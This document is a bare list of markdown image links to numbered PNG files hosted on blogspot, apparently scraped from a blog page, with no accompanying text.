![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IUzxDxHJ6yk/V5RQbpkk3VI/AAAAAAAAM74/wJ_2a77UeOIelGySNxxHsoYNlUT2YIlvgCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-U_K2A1rBCH0/V5TBZvqeBdI/AAAAAAAAM-A/yKNAZosafHUg1_CTh7RWaOtuFgIHv6wnwCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-DyAty4Aq_a4/V5TBZ4gwjGI/AAAAAAAAM-I/0M8eJx3-LXIe57efeUMTX10TGg3ypMawQCLcB/s1600/8.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-U-sfavDlf_g/V5TBXtt4G5I/AAAAAAAAM9g/s1BjTmWJhaImXMIfglfXDgxKUD6pTv1EACLcB/s1600/11.png?w=687&ssl=1)
![[Image: 0.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-yNgZvcjzOag/V5Nk6iMp-TI/AAAAAAAAM6Y/alDKbfxDt3MXjgKQFbWBHJFdy1wsTwxuwCLcB/s1600/0.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-fBUlR0NSKRw/V5Nk9dbPedI/AAAAAAAAM6c/Qv6kd3kQLwEmHirjXScD92IQTyqx5JtEACLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-hXTouaDYPuE/V5NlFj5nk_I/AAAAAAAAM6k/UB7yYiryIOY_8ewFOGLl_sEsk4BFQcKbACLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-slo1vsEDBxM/V5Nk_83B3zI/AAAAAAAAM6g/P1MsEPfu4qUo0EAkJsruCdj7qAuS11r7wCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-7GrDmxIO8Tw/V5NlLVs6bFI/AAAAAAAAM60/-5OnZlYy-q0pHXDLGYzfHZpAxKA1M-DjQCLcB/s1600/8.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-qDp7KCkpJGY/V5NlJwSto3I/AAAAAAAAM6w/QJqUdXYOnLMFFCuT1J3iq2_OYZycxjIsgCLcB/s1600/9.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-G9lIO78r7_U/XGlegZRQIEI/AAAAAAAAcvA/VPEvu_Nx_jYX5sA9YXciTsC-SLDmPVWhQCLcBGAs/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8pAQkDM1yog/XGlekYSk2nI/AAAAAAAAcvE/BeDE6-0Ue5M1HyWN061orJNSN4U5SbTWQCLcBGAs/s1600/2.png?w=687&ssl=1)
![[Image: 0.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-wlZqylkIgug/V5D0b5HABFI/AAAAAAAAM5o/4XS5mhPjTGYZvATT9i9daUVH2fHDA-EaQCLcB/s1600/0.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-AhGrvi_9240/V4-yADBjGoI/AAAAAAAAM4s/zj6cOfyAmdMUtP1_oil_jBqzDDjwHpRoQCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-6Cbl23Hg22w/V4-yBFeFLzI/AAAAAAAAM5A/FS1yEaW69VUUytlYnXHIOOmMiFwEc_x1ACLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-kgr9ystDwI8/V4-yBM4bR3I/AAAAAAAAM48/fAljoGWSqfMw59skyiIr2UidyLELvkWfgCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-nCk20VS5EqY/V4-yB-9M_iI/AAAAAAAAM5M/jnxaUADMVOg7Puvn_ShfreS1QA1jm8v_ACLcB/s1600/6.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ckfnfkGZlg4/V4-yCmtNPqI/AAAAAAAAM5Y/CqQajLsex44IXI2y0HYKjURvycEPBSf8wCLcB/s1600/9.png?w=687&ssl=1)
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-LTmpkMhwZ8U/V4-yAUdVjuI/AAAAAAAAM4w/IQKelhgOYgAKeM_oimrOd2hG5yGLxbQOACLcB/s1600/10.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-l2SVGjCs3x4/V4eIqYlTBkI/AAAAAAAAM1M/-wiUTCGlNdsGJ-sh5d9uCsAAFgD6H55tACLcB/s1600/1.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Sx0TSWCvvo0/V4eI8W9i92I/AAAAAAAAM1k/7fZlS-zuyv4BlIKH_Lto_MTc6aIkEKwEQCLcB/s1600/8.png?w=687&ssl=1)
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-36XEbazTnTQ/V4eIovtVQWI/AAAAAAAAM1E/YRamVu1UPwUQxmJFZXXFJ_MDncktAMNhACLcB/s1600/10.png?w=687&ssl=1)
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-Db4b36ilw2o/V4eIpGQtWxI/AAAAAAAAM1I/ZXhMGo4xdtQnSY5ZIePEN9X59BzaVVXzQCLcB/s1600/11.png?w=687&ssl=1)
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zPl2AfhRLfc/V4eIvuy5_lI/AAAAAAAAM1Q/x5eFGoZx5Gs1KjD_zCitpMvY1EmMYUKmQCLcB/s1600/12.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-joP4L1wzVJU/V4DIryPHKeI/AAAAAAAAMzs/NayqVVGdFcEplXsjPg96j90bEr4EVb0HgCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ASZvXozytbE/V4DItCIrDYI/AAAAAAAAMzw/l933S32ETT8x9JF_caM6ueAhSJqZ0YqqACLcB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0kL3Dobq-qo/V4DIyzxw9JI/AAAAAAAAMz4/ilXy88Tczqc9xz7jOih49VRtrmYOp5f9gCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-hL4UBxZS9hQ/V3z_dpqTpMI/AAAAAAAAMyk/52mfe83VAkE0wjeu3R0WBOok5iEEfPIcgCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-FgF_ZRV7rMY/V3z_nZmzJAI/AAAAAAAAMzE/TsdPpuQcOOEjzx0DxuPqJCJNSKS16aBWACLcB/s1600/4.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-_1feWGR2vSI/V3z_vP_u1YI/AAAAAAAAMzQ/K3IhUFuUNwMXhPKHTWtoopbcenGW1-wuACLcB/s1600/7.png?w=687&ssl=1)
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-gezS76V0GSE/V3z_e3fQMlI/AAAAAAAAMyo/buq35TCtS1A_30yeNbSX_l4NmZaIbpkHwCLcB/s1600/12.png?w=687&ssl=1)
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-C1bmdDHRtFU/V3z_gnSsoYI/AAAAAAAAMy0/nLNiEHjIBdksUUIstWLnOZKi0l6_3uOtACLcB/s1600/13.png?w=687&ssl=1)
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-MzFmzxZAcDI/V3z_gt0xXVI/AAAAAAAAMyw/kGl2wBVZ3xcxFZOH4IM628P_Zoe0e3A1ACLcB/s1600/15.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jb6uNE8oOSs/V3qBUUlRzRI/AAAAAAAAMxM/jJrAVwOIVHUfOVwBv8D_ouwqKo3KsSGZgCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-iLIpHbMy1r0/V3qBT6RwqdI/AAAAAAAAMxE/gqndc2V939kwn7DF74cadw0m-1fel0cWQCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3klB9TPSvJU/V3qBUaL9EuI/AAAAAAAAMxI/sjWmel1y1VEGeMggQ-GznnesMs1XgdFGgCLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-2MuKHaA9I7A/V3qBVVieI5I/AAAAAAAAMxQ/Z6ElhlV9KyUousc7sIP8a4tvhDPZx3qdwCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-U3vcrbLqUbQ/V3qBXQF6BqI/AAAAAAAAMxc/2sTl5Vn8i_8Tv1a0NDqFqr4GTjlipORwgCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jPFselqmtH0/V3qBVboiRdI/AAAAAAAAMxU/qIjVInxJbP4VLtEczirIzZncsXw7bjdSACLcB/s1600/8.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nZ_NHIDJ00A/V3qBWRPPBqI/AAAAAAAAMxY/Nex2suXMhGwt4QafzUuAXXKvOxBf0ph4ACLcB/s1600/9.png?w=687&ssl=1)
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-jOk0VN9UVYQ/V3qBS_Y9qrI/AAAAAAAAMw8/h3-PC60fMoc-ksJpAs9yOCYPKek9iPV8ACLcB/s1600/10.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-eTMlV7277-s/V3fYhT_qm7I/AAAAAAAAMwQ/t5AADqZC__oIT7xVT2mwO5U6moKrLNs9gCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZNIPxLmdNJE/V3fYhGE7CJI/AAAAAAAAMwI/cZFKb6YGCWgfuqm0_WChm7fdObI4pukaQCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-AtQa3e0Rfj8/V3fYhAHVyTI/AAAAAAAAMwM/rnuVhnqXEv0mMjEZpK0nA0EbbL0wxVYnACKgB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/--IlG4cSZzfo/V3fYhtP9WMI/AAAAAAAAMwU/LN-5rYt0wn0c_G6uv4ztTl7elfy70WZkgCKgB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-kxYVb4SR3Fs/V3fYh5B5iJI/AAAAAAAAMwY/eZ1fbeMLkT4u7f2_C_OvYloFEdHkbUVeQCKgB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-p9DBR1y_RZM/V3fYiJRG9zI/AAAAAAAAMwc/4qS4PLVyT3wHN3ZxUDQa990LFcgvwC2KgCKgB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-jqMnjZawihQ/V3fYiUeE8vI/AAAAAAAAMwg/KA8GLSVhhugS7zirPTD-1TqbQ1q7pT26wCKgB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kI4vxvpXOI4/V3fYiWJg5PI/AAAAAAAAMwk/mgxnkY2jNs8TKVIsMs9GdxVWemgoTpAxgCKgB/s1600/8.png?w=687&ssl=1)
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bV2qSaKh9gU/V3doHb0rF0I/AAAAAAAAMvM/AFX47ypHSxM0_FRyJiuaKmMAeT9TCkIvwCLcB/s1600/0.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vMtYWX-JqmI/V3doTO76MxI/AAAAAAAAMvg/2fKtiwEhMqg02P24uT-AseGmbIn18aCeACLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-iBA9ilnrexI/V3doTN58xeI/AAAAAAAAMvk/glLEQMSoh8sBarygpRmY7WeYeqE2pyHFwCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-X9WXFz6f35U/V3dodKJ-yhI/AAAAAAAAMv0/S_0Rcm9plQIaBlG53oDuHfrT4gJtAs30ACLcB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-h2sUfW5krhk/V3doWBnb1qI/AAAAAAAAMvo/qa2PKiwGekIdqDEUQqRD9HuedgTpnYK2wCLcB/s1600/8.png?w=687&ssl=1)
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iTjrkoOiM2w/V3doAk5vh7I/AAAAAAAAMvE/kMZsyd2fYVY8fOdqpLHa75TetakoXzBawCLcB/s1600/10.png?w=687&ssl=1)
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-4wxx-nSFA98/V3doN-MqY_I/AAAAAAAAMvU/ZR_PN4D7PKgbwBXULGE2xMIkr_psNhZkQCLcB/s1600/12.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-jp6uA0HSPc0/V3Z5cpiCejI/AAAAAAAAMuc/OP1iuQmZnSUtKCxvC7Q1exUCPaiRR8GTgCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-205rfOU7iUY/V3Z5c5Ses3I/AAAAAAAAMug/5GkFYBtUarIEHLZjioTANA1j-PWDeoH7gCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-bDurosdmBh0/V3Z5d-brWNI/AAAAAAAAMus/XyIr1dHJoiU9hBtkWO8Aidww0Frk4ZzUQCLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-mpWL-NZcR-0/V3Z5drlq0gI/AAAAAAAAMuo/Fo9QmxOH8uQdI1uZL8vvCLVV3MCZUAIdwCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-UgLVeA4qgMI/V3Z5eJZVOzI/AAAAAAAAMuw/WFycfJ5DY0wmfDY3H4UVe9RsER7H02HGgCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-ZpKnK5k77n4/V3Z5eQ9y3OI/AAAAAAAAMu0/0dQI5Chsf24pan1LR6uNwUCzj6wi5iptQCLcB/s1600/8.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-O6ljPXnSWpE/V3Pq95GcqEI/AAAAAAAAMtM/JDOaNXxeTU8xuuUHB8hKGJYBkrXaE6EewCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-676DumBcJmU/V3Pq6ZfjoAI/AAAAAAAAMs4/zKbgApGgqV875XsaBGSqnPBTJp7rTS9mACLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-RtB-vE_lwsA/V3Pq7x9d0GI/AAAAAAAAMs8/UdJZLql4c987s2cIzigOdXf41jY2ADdoQCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-XWdVZMw-yGw/V3Pq8MGBQXI/AAAAAAAAMtA/Omsbx1xQYwcGRhTfRRW3-2GQR0Mw1MekACLcB/s1600/4.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2Fa_7mItylA/V3JhBu86NXI/AAAAAAAAMr4/3ZBHV5fEfY4Jiwv9k22gtuECJRIp979TgCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5vZPB8Dd4Sg/V2-tAZnn6tI/AAAAAAAAMq4/0bTGuPY7ZFAqwBffFZTgjSxm8x0ttS_hwCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-YqyBCZvRDjg/V2-tD6qgKRI/AAAAAAAAMrE/yVrzQsfbIgQvzWswrD8tf5aQxjbL2CdQwCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-QibL59oD-IE/V2-tKG4YNkI/AAAAAAAAMrY/Jita6iKONEI11gVRtMAZUEnPjOGPfmvcQCLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-PqkuV8wHyfY/V2-tIhBjwWI/AAAAAAAAMrQ/2trvl3dAuFYwE88Ah_wgjNDHrLwZDKpHACLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7smKNL5HYrw/V2-tHPBBxQI/AAAAAAAAMrM/eDUneOt1ir0nBvjus8ZAT8qbWPVmOT60QCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ndlIN8wSVHo/V26xKkvsKoI/AAAAAAAAMp8/ec-2l7BYrw0RN8rc32YbJ6CiUs9B_ufMACLcB/s1600/1.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-lMHt8UmjP2k/V26xLWrpdaI/AAAAAAAAMqQ/X1z8HGpPkS4xPKuR0ZUQ6_UfKfDKwp9JwCLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-qwBokmboxCY/V26xLfATIxI/AAAAAAAAMqI/UmzP-qQ2u14WER3kgk4CBgUTcZHVDyt7gCLcB/s1600/5.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BBLePmoxBBM/V21QYZFn1YI/AAAAAAAAMm4/-5hXC9IFtsoUefz_cb-rOli9ED_TQUbnwCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-RGOO6O3A2Zk/V20a5b_r2KI/AAAAAAAAMmA/8DM9NbH891g_Vz2HbnLj0AgnuoKt_so8gCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-WZ-zE3SKY2Y/V20a579zCSI/AAAAAAAAMmI/P5M3grrJP5wtU2_qG50Sw0-5ZYC9f-cHgCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-jH9uh1CD7Y0/V20a7irGX3I/AAAAAAAAMmU/XAqb5Cxl2lQdlYUQJbagk5Tl7on0tPmjwCLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-8XqzgMIUEn8/V20a72I0rEI/AAAAAAAAMmY/4NQL_aN6-VwFpU8hzIeh_8I8JuFtaGIVgCLcB/s1600/7.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-KiYoIdgXb-k/V2quzNG7UFI/AAAAAAAAMkU/rhbRdzRDTmUDAT4c7fNqnyPdnIJ442-WACLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-i1Dj-K5lKIc/V2quxdForKI/AAAAAAAAMkM/qZbT5jIK7U0Ee1vR4lSc_rz5ua65fdEowCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ULHhBN9n_ZY/V2qx7E4ELPI/AAAAAAAAMlY/0PQSLnQuyCEtP_7bXGAI-aMZZGxRQMsWACLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-KCVMMDpzTjE/V2qy6ZKMxaI/AAAAAAAAMlk/S-NI4-R36vU9yCm84_ISNGAwtdcZG7o4QCLcB/s1600/5.png?w=687&ssl=1)
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5PUcc5rmvvw/V2qy6_I2DzI/AAAAAAAAMlo/U9lSIOFC19coKEdSiY4BYQ6o172KTNfLACLcB/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-I1Z8Nsh6254/V2qu0m3ZCgI/AAAAAAAAMkk/AVHjjoSoyuQoW-X-Ur_0PsFqd18VEKGtACLcB/s1600/7.png?w=687&ssl=1)
![[Image: gmail.jpg]](https://4.bp.blogspot.com/-VAuM-CeRZoU/TmC4Ox7ce2I/AAAAAAAABAI/CIAa7pi6J2M/s1600/gmail.jpg)
